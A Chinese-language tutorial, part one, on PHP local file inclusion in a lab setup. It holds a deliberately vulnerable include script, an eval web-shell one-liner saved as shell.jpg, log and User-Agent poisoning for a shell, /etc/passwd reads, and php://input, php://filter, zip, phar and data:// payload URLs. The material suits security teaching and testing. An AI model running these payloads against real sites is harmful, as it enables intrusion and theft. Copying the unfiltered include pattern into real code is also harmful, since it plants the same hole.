文件包含漏洞（一）

一、漏洞描述

程序在引用文件的时，引用的文件名，用户可控的情况，传入的文件名没有经过合理的校验或校验不严，从而操作了预想之外的文件，就有
可能导致文件泄漏和恶意的代码注入。
程序开发人员一般会把重复使用的函数写到单个文件中，需要使用某个函数时直接调用此文件，而无需再次编写，这种文件调用的过程一般
被称为文件包含。
程序开发人员一般希望代码更灵活，所以将被包含的文件设置为变量，用来进行动态调用，但正是由于这种灵活性，从而导致客户端可以调用
一个恶意文件，造成文件包含漏洞。
几乎所有脚本语言都会提供文件包含的功能，但文件包含漏洞在 PHP Web Application 中居多, 而在 JSP、ASP、ASP.NET 程序中却
非常少，甚至没有，这是有些语言设计的弊端。在 PHP 中经常出现包含漏洞，但这并不意味这其他语言不存在。

二、常见文件包含函数

include()：执行到 include 时才包含文件，找不到被包含文件时只会产生警告，脚本将继续执行；
require()：只要程序一运行就包含文件，找不到被包含的文件时会产生致命错误，并停止脚本；
include_once()和 require_once()：若文件中代码已被包含，则不会再次包含。

三、代码分析

$_GET['filename'] 接收客户端传的参数，其中没有任何过滤带入到 include 函数中，include 包含这个文件，引入到当前文件中，
因此会造成文件包含漏洞。

四、利用方法

文件包含漏洞，需要引入上传的文件到网站目录，或服务器内部的文件，而且权限是可读，才能引入进来，或远程包含进来，但是需要条件。

五、本地文件包含

本地包含文件，被包含的文件在本地。

1、文件包含/etc/passwd

如果存在漏洞，文件又存在的时候，不是 php文件会被读取显示在页面中。/etc/passwd文件是 linux 里的敏感信息，文件里存有 
linux用户的配置信息。

2、文件包含图片

寻找网站上传点，把 php 恶意代码文件改成 jpg 上传到网站上，本地包含引入恶意代码，当文件被引入后，代码就被执行。
<?php phpinfo();eval($_POST['cmd']);?>  保存为 shell.jpg

上传图片格式到网站，再用文件包含漏洞引入图片，成功执行代码。

3、包含日志文件 getshell

3.1 原理分析

中间件例如 iis 、apache、nginx 这些 web 中间件，都会记录访问日志，如果访问日志中或错误日志中，存在有 php 代码，也可以
引入到文件包含中。如果日志有 php 恶意代码，也可导致 getshell。
使用 burpsuite 访问GET ，填写 <?php phpinfo();eval($_POST[cmd]);?>

linux 日志文件权限默认是 root，而php 的权限是 www-data，一般情况下都是读取不了，如果是 windows 环境下，权限是允许的。
linux 默认的 apache 日志文件路径
访问日志：
/var/log/apache2/access.log
错误日志：
/var/log/apache2/error.log
把文件日志包含进来即可。

3.2 搭建测试环境

<?php
include $_GET['file'];

?>

3.3 抓包测试

3.4 包含access.log

4、包含环境变量 getshell

修改 User-Agen 填写 php 代码

/proc/self/environ 这个文件里保存了系统的一些变量

如果权限足够，包含这个文件就能 getshell

六、伪协议

1、介绍

1.1 常见协议

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流（I/O streams）
zlib:// — 压缩流
data:// — 数据（RFC 2397）
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

1.2 php.ini 参数设置

在 php.ini 里有两个重要的参数：allow_url_fopen、allow_url_include。
allow_url_fopen:默认值是 ON。允许 url 里的封装协议访问文件；
allow_url_include:默认值是 OFF。不允许包含 url 里的封装协议包含文件；

1.3 各协议的利用条件和方法

2、php://input

php://input 可以访问请求的原始数据的只读流，将 post 请求的数据当作 php 代码执行。当传入的参数作为文件名打
开时，可以将参数设为 php://input,同时 post 想设置的文件内容，php 执行时会将 post 内容当作文件内容。
注：当 enctype="multipart/form-data"，php://input 是无效的。
php.ini 条件是 allow_url_fopen =ON、allow_url_include=ON

设置请求为 post 请求，在正文输入php 代码<?php phpinfo();?>提交即可允许。

2.1 test.php

<?php
include $_GET['file'];

?>

2.2 修改参数，并send

3、file:// 访问本地文件

3.1 file:///etc/passwd

在本地包含漏洞里可以使用 file 协议，使用 file 协议可以读取本地文件。
file:///etc/passwd

3.2 读取相对路径文件

http://192.168.1.50/test.php?file=./01/php.ini

4、php://

4.1 介绍

php:// 用于访问各个输入/输出流（I/O streams），经常使用的是 php://filter 和 php://input
php://filter 用于读取源码。
php://input 用于执行 php 代码。

php://filter 参数详解

可用的过滤器列表（4 类）

4.2 使用协议读取文件源码

php://filter/read=convert.base64-encode/resource=/etc/passwd

读取文件后再进行 base64 解码。

5、phar://、zip://、bzip2://、zlib://

用于读取压缩文件，zip:// 、 bzip2:// 、 zlib:// 均属于压缩流，可以访问压缩文件中的子文件，更重要的是不需
要指定后缀名，可修改为任意后缀：jpg png gif xxx 等等。

1、zip://[压缩文件绝对路径]%23[压缩文件内的子文件名]（#编码为%23）
http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.tx
t

5.1 处理压缩包文件

5.2 zip://

test.php

<?php
include $_GET['file'];

?>

http://192.168.1.48/test.php?file=zip://C:\phpStudy\WWW\1.zip%231.jpg

5.3 compress.bzip2://file.bz2

http://127.0.0.1/include.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg
http://127.0.0.1/include.php?file=compress.bzip2://./file.jpg

5.4 compress.bzip2://file.bz2

http://127.0.0.1/include.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg
http://127.0.0.1/include.php?file=compress.zlib://./file.jpg

5.5 phar://

http://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt

6、data://

1、data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

2、data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b